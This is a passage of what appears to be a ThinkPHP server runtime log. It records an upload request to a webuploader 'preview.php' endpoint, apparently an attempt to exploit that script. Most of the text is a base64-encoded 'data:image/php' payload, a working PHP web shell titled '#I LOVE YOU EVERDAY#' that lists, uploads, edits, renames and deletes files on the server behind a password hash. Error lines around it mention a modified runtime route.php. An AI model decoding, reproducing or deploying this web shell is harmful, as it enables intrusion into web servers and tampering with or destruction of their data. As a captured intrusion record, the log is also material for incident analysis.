ybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'hui' => 'lib', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:04:58+08:00 ] 119.42.146.234 POST 59.110.137.245/manage/assets/lib/webuploader/0.1.5/server/preview.php [运行时间:0.002757s] [吞吐率:362.73req/s] [内存消耗:196.78kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'manage', 2 => 'assets', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz